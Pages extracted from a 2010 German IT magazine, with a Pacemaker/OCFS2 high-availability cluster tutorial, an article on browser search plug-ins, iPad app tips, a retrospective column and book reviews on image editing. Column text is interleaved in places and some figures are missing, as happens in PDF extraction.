139 Bei vielen Attributen und Details hilft die Tab-Taste mit einer Vervollständigung und einer kurzen Syntaxhilfe weiter. Einzelne Hierarchien lassen sich auch direkt von der Kommandozeile aus ansprechen; beispielsweise zeigt crm ra list ocf die verfügbaren OCF- Plug-ins (Open Clustering Framework) an. Die in diesem Tutorial verwendeten Codebeispiele setzen voraus, dass der Start der CRM-Shell mit crm configure erfolgt. Nach Abschluss aller Eintragungen ist diese mit end zu schließen und zu aktivieren. Dabei bietet die Nachfrage do you want to commit die letzte Chance, die eben gemachten Änderungen zu verwerfen. quit erlaubt anschließend das Verlassen der CRM- Shell. Alternativ kann man mit crm configure edit direkt in der Konfigura - tion arbeiten. Die Änderungen sind nach dem Verlassen des Editors sofern es keine Syntaxfehler gab jedoch ohne weitere Rückfrage aktiv. In Listingˇ2 findet sich ein Beispiel eines vollständigen Dialogs. crm configure show zeigt die gesamte aktive Konfiguration an; die Ausgabe sollte man nach Änderungen als Konfigurationssicherung beiseitelegen. Die vollständige Konfiguration dieses Tutorials gibt es nach dem Erscheinen des dritten Teils in der kommenden Aus - gabe über den ix-listingservice [d]. Split Brain: Bloß das nicht Listing 2: crm-dialog Das Wunder vom Striping Im Produktivsystem beziehen die physikalischen Server ihre 40 TByte Storage aus vier SATA-Plattensubsystemen (Shelves), die über einen SAS-Switch an die drei Server angebunden sind. Die Shelves sind unter Linux als /dev/cciss/{c0d1 c0d2 c0d3 c0d4} sichtbar, die einzige Volume Group beinhaltet alle vier. Bei ersten Versuchen mit einem ganz gewöhnlich angelegten Logical Volume mit 40 TByte OCFS2 brach überraschenderweise die Performance bei parallelen Benchmarks extrem ein, sobald mehr als ein Knoten gleichzeitig schrieb. Die drei Knoten erreichten zusammen nur circa 50ˇ% der Performance eines einzelnen Knotens. Am Ende zeigte sich, dass höchstwahrscheinlich die auf das erste Subsystem konzentrierte I/O-Last so groß war (12 TByte umfasst das erste Shelf, 10 GByte Eine der zentralen Aufgaben des Clusters besteht im Vermeiden des sogenannten Split Brain, dem Abbruch der Kommunikation zwischen Teilen des Clusters mit der damit verbundenen Gefahr für die Konsistenz der Daten. Am einfachsten erfüllt der Split Brain Detector (SBD) diese Aufgabe, er erfordert lediglich ein von allen Knoten gemeinsam nutzbares Block Device mit 1ˇMByte Speicherplatz. Als zusätzliche Absicherung sollte man einen Watchdog-Dienst aktivieren. Falls die Serverhardware IPMI unterstützt, kann dazu das Linux-Kernel-Modul ipmi_ watchdog dienen, sonst sollte der Software-Watchdog mit dem Modul softdog funktionieren. Für die XEN-Umgebung des Tutorials fiel die Wahl auf softdog, der Eintrag 'MODULES_LOADED_ON_BOOT="softdog"' in /etc/sysconfig/kernel aktiviert das Modul dauerhaft, modprobe softdog lädt es zur Laufzeit in den Kernel. Da der SBD auch für das Verhindern eines Split Brain beim clvm nötig ist, darf das zugehörige SBD-Device nicht in einem Cluster-LVM liegen (siehe Kasten Henne oder Ei clvm ). Dazu dient ein eigenes, oben eingerichtetes kleines Logical Volume auf # crm configure crm(live)configure# primitive sbd_stonith stonith:external/sbd params sbd_device="/dev/shared/sbd" crm(live)configure# end There are changes pending. Do you want to commit them? y crm(live)# quit bye Listing 3: Konfiguration des OFCS2-Volume primitive data01 ocf:heartbeat:filesystem \ params device="/dev/shared/data01" directory="/srv/data01" \ fstype="ocfs2" options="acl" \ op monitor interval="120s" clone data01-clone data01 \ meta interleave="true" ordered="true" colocation data01-with-o2cb inf: data01-clone o2cb-clone order start-data01-after-o2cb inf: o2cb-clone data01-clone der verwendete Bonnie), dass es nicht mehr performant die Daten liefern konnte. Als Lösung erfolgte ein Striping des Logical Volume für OCFS2 über alle vier Shelves (Option -i 4 beim Aufruf von lvcreate). Im Ergebnis skaliert das OCFS2 nahezu linear und die Gesamtleistung der drei Knoten beträgt rund 280ˇ% der eines einzelnen Knotens. Vermutlich sind die Plattensubsysteme mit den am Ende erreichten 300 MB/s bei linearen Transfers auch an der Grenze ihrer Leistungsfähigkeit angelangt. In der Testumgebung mit den XEN VMs ist es nicht weiter verwunderlich, dass sich dieser Effekt nicht zeigt, da hier keine vier Festplatten im Hintergrund arbeiten, sondern die vier Sparse Files à 10 TByte neben einander auf derselben Festplatte liegen. dem gemeinsamen Storage (siehe Listingˇ1). Das Anlegen des SBD-Device erfolgt auf einem Knoten mit sbd -d /dev/shared/sbd create. Die Konfigurationsdatei /etc/sysconfig/sbd muss man manuell anlegen, sie sieht wie folgt aus: SBD_DEVICE="/dev/shared/sbd" # The next line enables the watchdog support: SBD_OPTS="-W" Für die Verteilung der SBD-Konfiguration per csync2 ist /etc/sysconfig/sbd der Liste der Konfigurationsdateien in /etc/csync2/csync2.cfg hinzuzufügen. csync2 -f /etc/sysconfig/sbd, gefolgt von csync2 -xv, überträgt sie auf die anderen Nodes. Nach einem Stop und anschließendem Start von OpenAIS (ein restart misslingt aufgrund des noch fehlenden sbd) kann man in crm eine passende Cluster-Ressource konfigurieren: property stonith-enabled="true" property stonith-timeout="30s" primitive sbd_stonith stonith:external/sbd params sbd_device="/dev/shared/sbd" Daraufhin startet OpenAIS den SBD. Da der nur einmal im Cluster laufen darf, wird er nicht wie die anderen Ressourcen als clone definiert. OCFS2 mit Userspace-DLM CTDB auf OCFS2 erfordert fcntl()-locking, das der OCFS2-eigene Distributed Locking Manager (DLM) derzeit nicht bereitstellt. Glücklicherweise kann ix 11/

140 PRAXIS HA-Dateiserver OCFS2 aber einen im Userspace laufenden DLM verwenden, der diese Funktion zur Verfügung stellt: Pace - maker. Dafür benötigt die Cluster-Konfiguration zwei Ressourcen, den eigent - lichen DLM sowie den Cluster-Service O2CB. Damit die Cluster-Dienste in der korrekten Reihenfolge starten, legt man eine order -Direktive an: primitive dlm-ocfs2 ocf:pacemaker:controld \ op monitor interval="120s" primitive o2cb ocf:ocfs2:o2cb \ op monitor interval="120s" clone dlm-ocfs2-clone dlm-ocfs2 \ meta globally-unique="false" interleave="true" clone o2cb-clone o2cb \ meta globally-unique="false" interleave="true" order start-o2cb-after-dlm-ocfs2 inf: dlm-ocfs2- clone o2cb-clone Nun kann man mit mkfs.ocfs2 das Volume formatieren: mkfs.ocfs2 -L data01 --fs-features=xattr /dev/ shared/data01 Hat das Dateisystem eine Größe jenseits der 16 TByte, muss man das Volume mit der Option block64 initialisieren: mkfs.ocfs2 -L data01 -J block64 --fs-features=xattr /dev/shared/data01 Hier zeigte sich ein Fehler im SLES11 SP1, der OCFS2-Dateisysteme größer 16 TByte nicht mounten konnte, obwohl die Release Notes dies nicht als Beschränkung erwähnten. Erst ein Update auf Kernel Version oder höher aus dem HA-E-Update- Channel löste dieses Problem und erlaubt auch sehr große OCFS2-Dateisysteme. Wichtigstes Detail ist hier, dass in der Ausgabe von mkfs.ocfs2 als Cluster-Name pacemaker erscheint, da OCFS2 sonst nicht den DLM von Pacemaker nutzt: mkfs.ocfs2 -L data01 -J block64 --fs-features=xattr /dev/shared/data01 mkfs.ocfs Cluster stack: pcmk Cluster name: pacemaker... Legt man nun noch per mkdir -p /srv/ data01 auf allen Knoten den Mount- [a] SLE-HA-Dokumentation [b] Sparse Files [c] SLE-Add-ons installieren [d] ix-listingservice Onlinequellen Der Logical Volume Manager (LVM) eignet sich wegen seiner enormen Flexibilität und des einfachen Zusammenfügens verschiedener Blockgeräte sehr gut für große Datenspeicher. Allerdings stehen bei einem gemeinsam genutzten Speicher die Konfigurationsänderungen nicht sofort auf allen Knoten zur Verfügung. Hier hilft Cluster LVM (clvm), die auf einem Cluster-Knoten vorgenommenen Änderungen auf allen im Cluster verbundenen Systemen bekannt zu machen. Zusätzlich verhindert der clvm parallele Änderungen an der LVM-Konfiguration durch mehrere Knoten, indem er jegliche Modifikation am LVM mit einem clusterweiten Lock schützt. Punkt an, kann anschließend, wie in Listingˇ3 zu sehen, die Konfiguration des OCFS2-Volume erfolgen. Nach der Aktivierung der Konfiguration sollte auf allen aktiven Knoten unter /srv/ data01 das OCFS2-Dateisystem eingehängt sein. Eine Runde Tischtennis als Test Vor der Einrichtung von CTDB steht ein Test des Cluster-Dateisystems an, der auch das Locking überprüft. Das erforderliche Werkzeug liefert Samba mit dem Programm ping_pong gleich mit. Für den Test startet man es zuerst auf einem Knoten mit ping_pong /srv/data01/test.txt 4 wobei die letzte Ziffer um eins höher sein muss als die Anzahl der Cluster- Knoten. Nun sollte es eine Ausgabe über die Anzahl der Locks pro Sekunde geben. Geschieht dies nicht, hakt das Locking. Im positiven Fall kann man ping_pong mit identischer Kommandozeile zusätzlich auf einem zweiten Knoten starten. Die Anzahl der book_sleha.html de.wikipedia.org/wiki/sparse-datei cha_add-ons.html ftp.ix.de/pub/ix/ Henne oder Ei clvm Ganz anders sieht es aus, wenn für die interne Cluster-Steuerung notwendige Komponenten auch im gemeinsamen Storage im LVM liegen. Hier käme es zu einer Blockade des Clusters, wenn er zum Starten schon ein Block Device aus dem LVM benötigt, das der clvm aber erst durch einen funktionierenden Cluster freigeben würde. Hierbei zeigt sich der Nachteil des clvm, da ohne laufenden Cluster keine LVM-Devices bereitstehen. Für den Split Brain Detector verwendet der Beispiel-Cluster ein LV auf dem gemeinsamen Storage, sodass sich Cluster LVM nicht nutzen lässt. Daher muss der Administrator selber darauf achten, Änderungen am LVM immer nur auf einem Knoten durchzuführen und sie dann manuell auf den anderen Nodes mit lvscan, vgscan und gegebenenfalls per vgchange -a y zu aktivieren. Locks pro Sekunden muss nun deutlich fallen und sich auf beiden Knoten auf ähnlichem Niveau einpendeln. Mit einem weiteren Knoten sollte die Locking-Rate etwas weiter fallen. Auf dem XEN-Testcluster ergaben sich folgende Werte: 1 Knoten: locks/sec 2 Knoten: 1343 locks/sec 3 Knoten: 1044 locks/sec Sind all diese Tests erfolgreich geschafft, kann es an die Einrichtung von Netzwerk, CTDB und Samba gehen. Damit wird sich der dritte und letzte Teil des Tutorials befassen. (avr) FRIDTJOF BUSSE ist Senior Consultant und leitet den Bereich Linux/Open Source bei der arxes Information Design Berlin GmbH. SCHLOMO SCHAPIRO ist Systemarchitekt und Open-Source- Evangelist bei der Immobilien Scout GmbH in Berlin. Literatur [1]ˇFridtjof Busse, Schlomo Schapiro; Hochverfügbarkeit; Alle zugleich; Samba-HA-Cluster mit Open-Source- Mitteln; ixˇ10/2010, S.ˇ119 [2]ˇOliver Tennert; Volume Management; Aus dem Setzkasten; Block - geräteverwaltung mit dem Linux Device Mapper; ixˇ4/2005, S.ˇ ix 11/2010 x

141 PRAXIS Tools und Tipps An Suchmaschinen wie Google oder Bing führt kein Weg vorbei. Doch die Inhaltsverzeichnisse des Web finden keineswegs alles, schon gar nicht auf Anhieb. Wer etwa die Kontaktdaten eines ehemaligen Kollegen, eine Umgebungskarte des Münchener Hauptbahnhofs, die Übersetzung des spanischen Wortes buscador, die chemische Zusammensetzung von Polyvinylchlorid (PVC) oder ein Buch des Literatur- Nobelpreisträgers Mario Vargas Llosa sucht, wird in einschlägigen Verzeichnissen meist schneller fündig. Deren Zahl geht in die Zehntausende, wenn nicht mehr. Meta-Suchmaschinen wie MetaGer nutzen einige davon, jedoch bei Weitem nicht alle. Telefonoder Wörterbücher etwa bleiben in der Regel ebenso außen vor wie die Kataloge von Herstellern, Händlern oder Verlagen. Wer dort suchen will, muss die entsprechenden Seiten direkt ansteuern. Suchmaschinen auf einen Blick Erheblich leichter geht das mit der integrierten Suchfunktion moderner Brow - ser wie Firefox (ab Versionˇ2) oder Internet Explorer (ab IEˇ7) vor allem, wenn man mehrere Verzeichnisse nacheinander abfragen will. Zwar bieten die Browser von Haus aus nur einige ausgewählte Suchmaschinen an, etwa Google oder Wikipedia. Die Liste lässt sich jedoch beliebig erweitern. Dazu genügt es manchmal, die gewünschte Suchseite aufzurufen. Wer etwa mit Firefox das Deutsch/Englisch-Wörterbuch dict.leo.org besucht und die Liste der Suchmaschinen aufklappt, findet nahe dem Ende den Eintrag LEO Eng-Deu hinzufügen. Ein Klick installiert das angebotene Plugin permanent im persönlichen Profil des Nutzers. Beim Internet Explorer führt der Weg über das Dropdown- Menü rechts neben dem Suchfeld und die Funktion Suchanbieter hinzufügen. Google Chrome registriert in Webseiten eingebundene Such-Plugins automatisch. Listing: Plug-in für die ix-artikelsuche <?xml version="1.0" encoding="utf-8"?> <OpenSearchDescription xmlns=" <ShortName>iX-Artikelsuche</ShortName> <Description>Beschreibung des Plug-ins</Description> <Url type="text/html" method="get" template=" <Contact>mr@ix.de</Contact> <Image width="16" height="16"> <InputEncoding>UTF-8</InputEncoding> </OpenSearchDescription> Suchmaschinen-Plug-ins für Firefox, IE und Chrome Schöner suchen Michael Riepe Wer noch google.de aufruft, ist selbst schuld. Komfortabler arbeiten lässt es sich mit der in den Browser inte grierten Suchfunktion vor allem, wenn man dort alle wichtigen Suchmaschinen parat hat. Stellt eine Webseite kein eigenes Plug-in zur Verfügung, empfiehlt sich ein Besuch beim Mycroft-Projekt, das Tausende von Plug-ins aus unterschiedlichen Kategorien bereithält selbstverständlich auch eins für die eigene Suchfunktion. Für den unwahrscheinlichen Fall, dass der Nutzer dort nicht fündig wird, bietet searchplugins.net eine Liste von über 10ˇ000 Plug-ins, allerdings ohne die Möglichkeit, die Suche auf bestimmte Kategorien einzugrenzen. Dafür stellt die Seite einen einfach zu bedienenden Plug-in-Generator für Firefox und IE zur Verfügung. Der Anwender muss lediglich einen Namen und eine Such-URL eingeben und kann anschließend das Plug-in per Mausklick installieren. Die URL kann man in der Regel leicht erzeugen, indem man in der gewünschten Suchmaschine den Begriff TEST eingibt und anschließend den Inhalt der Adresszeile kopiert. Such-Plug-in nach Art des Hauses Leider erlaubt es searchplugins.net nicht, ein generiertes Plug-in in einer Datei zu speichern, sodass der Nutzer die Prozedur wiederholen muss, wenn er unterschiedliche Browser oder Accounts verwendet. Firefox-Nutzer können sich damit behelfen, das Plug-in aus einem Nutzerprofil ins andere zu kopieren; die Dateien sind im Unterverzeichnis searchplugins zu finden. Nach einem Neustart des Browsers taucht das neue Plug-in in der Auswahlliste auf. Allerdings übersetzt Firefox Plugins in sein eigenes Format, sodass sie sich unter Umständen nicht mit anderen Browsern nutzen lassen. Wer ein generisches Plug-in benötigt, muss es selbst schreiben vorzugsweise im Open - Search-Format, das viele gängige Browser verstehen. Das Listing zeigt ein einfaches Plug-in für die ix-artikelsuche, die bedauerlicherweise bislang ohne diesen Komfort auskommen musste. Beachtung verdient der Platzhalter {searchterms} im Url-Element, den der Browser durch den entsprechend codierten Suchbegriff ersetzt. Soll das Plug-in auch mit dem Internet Explorer funktionieren, ist die Angabe method="get" obligatorisch, da der IE die POST-Methode nicht unterstützt. Firefox beherrscht darüber hinaus weitere Funktionen, etwa das Abrufen von Suchvorschlägen oder automatische Updates für Such- Plug-ins. Näheres dazu ist auf den Mozilla-Developer-Seiten zu finden. Wer ein OpenSearch-Plug-in auch für andere Dienste auf der eigenen Webseite bereitstellen möchte, muss lediglich deren head-element um den Eintrag <link rel="search" type="application/opensearchdescription+xml" title= "<Titel>" href="<url-der-datei>" /> ergänzen. Der angegebene Titel sollte dem Inhalt des ShortName-Elements entsprechen. Firefox kann man die Datei jedoch auch einfach unterschieben; beim nächsten Start konvertiert er sie automatisch in sein internes Format und fügt die neue Suchmaschine der Auswahlliste hinzu. ix 11/

142 MEDIEN Internet-Infos Anwendungen für das ipad In aller Hände Diane Sieger Wer nur spielen will, wird durch ipad-apps ebenso bedient wie all diejenigen, die Apples neues Gagdet für den Arbeitsalltag nutzen wollen. Aber auch Kreative, Leseratten und Kleinkinder kommen nicht zu kurz. Seit einigen Monaten ist das ipad in Deutschland erhältlich. Der erste Ansturm auf das Gerät und das wilde Herunterladen sämtlicher kostenloser Applikationen ist abgeflaut und langsam etabliert es sich als Instrument für Geschäftsalltag und Privatleben. Angesichts der zur Verfügung stehenden Applikationen fragt man sich, welche Apps ein Must-have, welche ganz nett, aber nicht zwingend nötig sind, und welche Gimmicks den Besitz eines ipad lohnenswert machen. Wenn Textverarbeitungsprogramm, Tabellenkalkulation und Präsentationssoftware aus dem Arbeitsalltag nicht wegzudenken sind, sollte die erste Inves tition für das ipad iwork sein. Das Macintosh-Nutzern bereits bekannte Dreiergespann aus Pages, Numbers und Keynote jeweils zum Preis von 7,99 E stellt das Äquivalent zu Word, Excel und PowerPoint auf dem PC dar und erlaubt Office-Workern die mobile Nutzung ihrer Hauptarbeitsmittel. Zu finden sind alle drei unter den Top Charts im itunes Store. Eine umfangreiche Kritik zu Pages gibt es unter de/2010/04/23/pages-ipad-review-text verarbeitung-tablet-apple, Numbers nimmt der Beitrag unter notes.de/2010/04/26/numbers-ipad-re view-tabellenkalkulation-auf-dem-ipadappl genauer unter die Lupe. Wer unterwegs Börsenkurse abrufen möchte, dem sei Bloomberg for ipad empfohlen (itunes.apple.com/de/app/ bl o omberg-for-ipad/id ). Im Gegensatz zum Gros der Konkurrenzprodukte verfügt Bloomberg über umfangreiche News aus der Finanzwelt und erlaubt dem Nutzer, kundenspezifische Aktienportfolios anzulegen. Die Bedieneroberfläche wirkt überfrachtet, die Anordnung der Elemente ist jedoch sinnvoll und nach nur kurzer Zeit hat man sich daran gewöhnt. Der Nachrichten - abschnitt ist personalisierbar und man kann den Bloomberg-Podcast aus der Anwendung heraus herunterladen und abspielen. Mit den Fingern schnell skizziert Für kreative Köpfe, die gerne unterwegs spontane Ideen skizzieren möchten, eignet sich Adobes Ideas hervorragend (itunes.apple.com/de/app/adobe-ideas- 1-0-for-ipad/id ). Bei dieser Applikation handelt es sich um eine Art von elektronischem Konzeptblock, mit dem sich Vektor-Zeichnungen mit nur wenigen Fingerstrichen erstellen lassen. Die Bedieneroberfläche ist übersichtlich und intuitiv. Erstellte Werke kann der Anwender als PDF exportieren und aus der Applikation heraus per versenden. Wer die Bedienung der App vor dem Download genauer unter die Lupe nehmen möchte, dem erleichtert vielleicht die Demonstration in Adobes Design and Web -Blog die Entscheidung (blogs.adobe.com/designandweb/ 2010/04/adobe_ideas.html). Eine der wenigen auch in deutscher Sprache erhältlichen Business-Appli - kationen für das ipad ist Evernote, ein Notiz-Tool, das viel mehr kann, als nur Merkzettel zu verwalten. Egal, ob es sich um Text handelt, Fotos, Webseiten oder PDFs, Evernote speichert Informationen und lässt sich von verschiedenen Geräten und im Web aufrufen. Das ipad kann als mobile Ergänzung zu Evernote auf dem stationären Rechner dienen oder als eigenständige Applikation verwendet werden. Im Einführungsvideo ( XWvaIy0 1 1) bezeichnet Evernote sich selbst als Super-Human-Maker. Für eine erste Übersicht über die Hauptfunktionen lohnt sich das Ansehen des You- Tube-Clips unter user/evernoteandrew#p/u/1/zkn4fsot rxc. Die App fürs ipad gibt es unter itunes.apple.com/de/app/evernote/id ˇMByte Speicherplatz stehen in der kostenlosen Version zur Verfügung, für häufige Nutzung empfiehlt sich ein kostenpflichtiger Premium-Account. Auch Dropbox hilft, den Überblick zu behalten. Wie bei Evernote kann man über verschiedene Geräte auf Dokumente zugreifen, und alle synchronisierten Daten stehen zusätzlich auf jedem Rechner mit Internetzugang online zur Verfügung. Boxen kann man zudem mit anderen Nutzen teilen und somit das Versenden von Dateien per an mehrere Empfänger umgehen. Dropbox fürs ipad gibt es unter itunes.ap ple.com/de/app/dropbox/id ; wer noch unentschlossen ist, kann sich zunächst auf von den Vorteilen überzeugen. Aufgrund seiner handlichen Größe bietet sich das ipad selbstredend als Lesegerät an. Bücherwürmer können Ap - ples hauseigenes ibooks nutzen (itunes. apple.com/de/app/ibooks/id ), als Belohnung für den Download gibt es den Klassiker Winnie the Pooh kostenlos dazu. Auch Amazons Kindle stellt eine Applikation zum Lesen von Büchern bereit (itunes.apple.com/de/ app/kindle/id ). Wer nicht beide Apps installieren möchte, findet bei e-book-news.de unter dem Titel ibooks vs. Kindle-App: Wie man auf dem ipad am besten liest eine Zusammenfassung der Stärken und Schwächen beider Apps ( de/ibooks-vs-kindle-app-wie-man-aufdem-ipad-am-besten-liest). Leseratten, die zwar gern ihre Nase in Bücher stecken, jedoch nicht unbedingt auf der Suche nach dem neusten Bestseller sind, können ihre Lesewut an kostenlos zur Verfügung stehenden Werken befriedigen. Die Applikation Free Books (itunes.apple.com/de/app/free-books- 142 ix 11/2010

143 classics/id ) bietet mehr als 23ˇ000 Klassiker zum Gratis- Download an. Noch viel mehr Lesestoff über 100ˇ000 Werke gibt es bei Wattpad. Hier hat Otto Normalverbraucher als Teil der Community die Gelegenheit, eigene Romane, Kurzgeschichten und vieles mehr zu veröffentlichen (itunes.apple.com/de/app/ freebooks-wattpad/id ). Für Groß und Klein Wer sein ipad bislang nur mit Business-Anwendungen und Reader-Applikationen ausgestattet hat, sollte sich unbedingt auch mit Just-for-Fun-Apps und kleinen Zeitvertreibern beschäftigen. Beispielsweise ist es hilfreich, eine Beschäftigungsmöglichkeit für Kleinkinder auf dem Gerät bereitzuhalten. Selbst die Kleinsten haben den Dreh mit dem verschiedenen Fingergesten auf dem Pad schnell heraus; jetzt gilt es nur noch, kindgerechte Applikationen zu finden, die Spaß machen und die Entwicklung fördern. Als Beispiel sei hier Sound Touch (itunes.apple.com/de/app/sound-touch/ id ) genannt. Die App zeigt Zeichnungen von Tieren, Fahrzeugen oder Haushaltsgeräten; nach dem Berühren mit dem Finger erscheint ein passendes Foto und das zugehörige Geräusch ertönt. In der Lite-Version stehen einige Tiere und Fahrzeuge zur Verfügung, für 1,59 E lässt sich die Auswahl um ein Vielfaches erweitern. Zu jedem Element gibt es mehrere Fotos, die nach dem Zufallsprinzip angezeigt werden. Zu empfehlen ab einem Alter von 1,5 Jahren. Weitere gute Spiele für Kleinkinder bietet Jackson Fish Market einfach als Suchbegriff im itune Store eingeben und ein oder mehrere Apps für maximal 0,79 E herunterladen. Natürlich sollen auch Spiele für Erwachsene hier nicht zu kurz kommen. Die Auswahl im itunes Store ist riesig, und für einen ersten Überblick lohnt sich ein Blick in die Bestsellerlisten auf der Startseite. Besondere Erwähnung sollte jedoch FlightControl (itunes.ap ple.com/de/app/flight-control-hd/id ) finden. Bekannt für den hohen Suchtfaktor ist das Spiel bereits durch die iphone-ausgabe, doch wer bislang dachte, die ipad-app sei nur eine etwas URLs auf einen Klick Die Internet-Infos gibt es auch online: Wer weitere URLs zum Thema kennt, hat die Möglichkeit, sie der Onlineversion hinzuzufügen. größere Variante der Mobiltelefonversion, liegt definitiv falsch. Zum einen vermittelt das Landen von Flugzeugen unter Vermeidung von Zusammenstößen auf dem großen und glänzenden Display des ipad ein komplett anderes Lookˇ&ˇFeel. Zum anderen stehen neben den klassischen Flughäfen neue Szenarien zur Verfügung, die auch für geübte Nutzer erneut eine Herausforderung sind. Um die neue Landebahn in 3D zu sehen, benötigt man allerdings eine entsprechende Brille. Alles in allem hat die australische Firma Firemint (firemint.com) mit der ipad-version ganze Arbeit geleistet. Zum Abschluss noch was zum Schmunzeln. Warum das ipad nicht in jeder Hinsicht eine Zeitung ersetzen kann: VyOKq-KXU. (ka) x Vor 10 Jahren: Freiheit dank Internet? Vor 10 Jahren platzte, wie vor Monaten in dieser Kolumne beschrieben, die Dotcom-Blase. Und ix berichtete über Cloud Computing, ohne überhaupt diesen Begriff zu kennen. Ein bis dahin profitlos arbeitendes Startup namens Google begann mit dem Verkauf von Stichwörter-Werbung, der enorme Gewinne abwarf. Microsoft, die führende Softwarefirma, investierte 135 Millionen Dollar in den Konkurrenten Corel. Der hatte mit Corel Office for Java einen Flop produziert und war finanziell schwer angeschlagen. In ix 11/2000, die mit 47 Seiten Stellenanzeigen inmitten üppiger Produktwerbeseiten einen Rekord aufstellte, wurde unter dem Titel Gedankenfrei der erste Arbeitsplatz im Cyberspace besprochen, die erste Version von Thinkfree Office, einer in Java geschriebenen Office-Suite. Anders als der Flop von Corel Office for Java als lokal arbeitendes Programm war diese Suite darauf ausgelegt, im Zusammenspiel mit dem Internet zu brillieren. Die kalifornischen Programmierer bewarben ihr Programm mit dem hübschen Slogan free of schlepping disks. Natürlich kompatibel zu Microsoft Office sollte Thinkfree Office dem Nutzer garantieren, überall von beliebigen Rechnern mit seinen Daten arbeiten zu können, die auf einem 20 MByte großen Cyberdrive im Netz lagerten. Dieser Cyberdrive sollte um 5ˇMByte mit jeder wachsen, in der man einem Freund die Nutzung der Suite empfahl. Die Software selbst war kostenlos, für 25 US-$ ließ sich die integrierte Bannerwerbung abschalten. Der Test ergab, dass Thinkfree Office wie eine Betaversion wirkte und nur eingeschränkt empfehlenswert war. Besonders bemängelt wurden die verzögerten Reaktionszeiten der Internet-Suite und die rudimentäre Tabellenkalkulation. Zehn Jahre später ist Thinkfree Office bestens im Geschäft. Die Software gehört inzwischen der koreanischen Firma Hancom und soll sich in Asien großer Beliebtheit erfreuen. Deutsche Kunden finden sie auf den Android-Mobiltelefonen der Firma Samsung, die die Suite als mobile Microsoft-Ergänzung bewirbt. Für andere Telefone kann sie über den Android Market erworben werden, wobei die kostenlose Version unbrauchbar ist: Mangels automatischem Zeilenumbruch beendete ich den Versuch, diese Kolumne auf einem Google Nexus zu schreiben. Heute ist der exotische Gedanke des Cyberdrive, dass die Dokumente im Netz liegen, für viele Alltag geworden. Als Beispiel seien die Dropbox oder Ubuntu One genannt, mit kostenlosem zwei GByte großen Speicher. Die Idee der Empfehlungen findet man bei Googles Invites wieder, Google Text & Tabellen als Internet-basierte Office-Suite ist heute deutlich bekannter als Thinkfree Office. Eine Android-Variante hat Google bereits in seinen Milestones angekündigt. In der Beschreibung wird davon geschwärmt, wie sehr das Cloud Computing unser aller Leben vereinfacht. Genau dieser wolkige Begriff ist in der gesamten Ausgabe der ix nicht zu finden. Detlef Borchers x ix 11/

144 MEDIEN Buchmarkt Angesichts der Myriaden digitaler Fotos auf den Festplatten der Republik wundert es nicht, dass so viele Foto-Jäger Interesse an der Bearbeitung ihres Rohmaterials haben. So lohnen sich außer Software Bücher dazu. Sei es Photoshop, der kommerzielle Platzhirsch unter den diesbezüglichen Software-Kandidaten, dessen abgespecktes Werkzeug Photoshop Elements oder das Open-Source- Tool GIMP (GNU Image Manipulation Program) der Umgang mit ihnen ist nicht unbedingt selbst erklärend, und Handbücher verstehen sich beileibe nicht von selbst. Veröffentlichungen zu Bild- und Fotobearbeitung wenden sich deshalb meistens an Nutzer spezieller Software. Aus der Gruppe der Photoshop-Literatur, die wie alle anderen bei jeder neuen Version mindestens neue Umschläge benötigt, sei Lesa Sniders fehlendes Handbuch zu Photoshop CS5 herausgegriffen. Mit dieser Reihe handelt O Reilly Themen ab, für die Hersteller kein Handbuch mitliefern. Nach einem Rundgang durch die Software fängt die Autorin bei grundlegenden Arbeiten an, um sich im zweiten Teil dem Editieren von Fotos zu widmen. Im dritten geht es ums Malen, Texten, Vektorgrafik und Filter, im vierten ums Drucken und das Web. Jürgen Wolf hat bei Galileo das umfassende Handbuch zum GIMP verfasst. Das liegt mittlerweile in Version 2.6.x vor. Die gut 900 Seiten lassen wahrscheinlich nur wenige Leserwünsche offen, was allerdings wegen schweren Papiers das Gewicht von mindestens zwei Exemplaren Freiheit (Jonathan Franzens 730-Seiten-Ro - man) bedeutet. Allein der Grundlagenteil bringt es auf etwa 130 Seiten. Anschließend erläutert Wolf die Software in Abschnitten zur Bildkorrektur, zu Farbe oder Schwarzweiß, Scharf- und Weichzeichnen et cetera. Bis hin zu einem Kurzkurs, der in die Sprache Scheme einführt (für Erweiterungen). Geeignet für Gründliche. Es geht durchaus mit weniger Umfang, wie derselbe Autor zeigt, indem er sich ebenfalls MEHR KBYTES Bildbearbeitung bei Galileo in GIMP 2.6 für digitale Fotografie auf die Arbeit am (eigenen) Digitalbild konzentriert. Er geht pragmatisch vor, indem er sich nach einer Einführung den diversen Menüpunkten des GIMP Einzelaspekte der Bildbehandlung widmet: von Farbund Belichtungskorrekturen über Freistellen und Weichzeichnen bis hin zu Fotomontage, Filtern und RAW-Bearbeitung. Exkurse zu Farben oder Dateiformaten et cetera sorgen für Vertiefung des Beispielhaften. Ein Band für Ausprobierer. Bettina K. Lechner führt bei Addison-Wesley in die aktuelle Version des GIMP ein. Sie gliedert ihren Band in einen Einstieg in die GIMPologie mit Kapiteln zu den Werkzeugen (200 Seiten) sowie einen praktischen Teil (70 Seiten) und Kapitel mit Besonderheiten wie dem UFRAW-Plug-in und was fürs Webdesign zu beachten ist. Einsteiger dürften genug Material und Konkretes wie Panorama - bilder oder Montage finden. Wer zusätz - liche Skripte benötigt oder selbst schreiben will, braucht tiefer gehende Lektüre. In der dritten Auflage hat Klaus Gölker seine bei dpunkt veröffentlichte Fotobearbeitung und Bildgestaltung auf Klaus Gölker; Fotobearbeitung und Bildgestaltung mit GIMP 2.6; Arbeitsschritte, Techniken, Werkzeuge; Heidelberg (dpunkt) 2009; 3., erweiterte und aktualisierte Auflage; 309 Seiten zzgl. DVD; e 35,00 (Paperback) Klaus Gölker; Fotobearbeitung und Bildgestaltung mit Photoshop Elements 8; Für Windows und Mac; Heidelberg (dpunkt) 2010; 408 Seiten zzgl. DVD; e 29,90 (Paperback) Jürgen H. Kloss; X3D; Programmierung interaktiver 3D-Anwendungen für das Internet; München (Addison-Wesley) 2010; 461 Seiten zzgl. CD-ROM; e 59,95 (gebunden) Bettina K. Lechner; GIMP; Für digitale Fotografie, Webdesign und kreative Bildbearbeitung; München (Addison-Wesley) 2009; 359 Seiten; e 39,95 (gebunden) Lesa Snider; Photoshop CS5; The Missing Manual; Sebastopol, CA (O Reilly Media) 2010; 796 Seiten; e 48, /US-$ 49,99 (Paperback) Michael Walder; Praxisworkshop GIMP 2; Köln (O Reilly) 2009; 2. Auflage; 247 Seiten zzgl. DVD; e 29,90 (Paperback) Jürgen Wolf; GIMP 2.6 für digitale Fotografie; Bonn (Galileo) 2009; 355 Seiten zzgl. DVD; e 39,90 (gebunden) Jürgen Wolf; GIMP 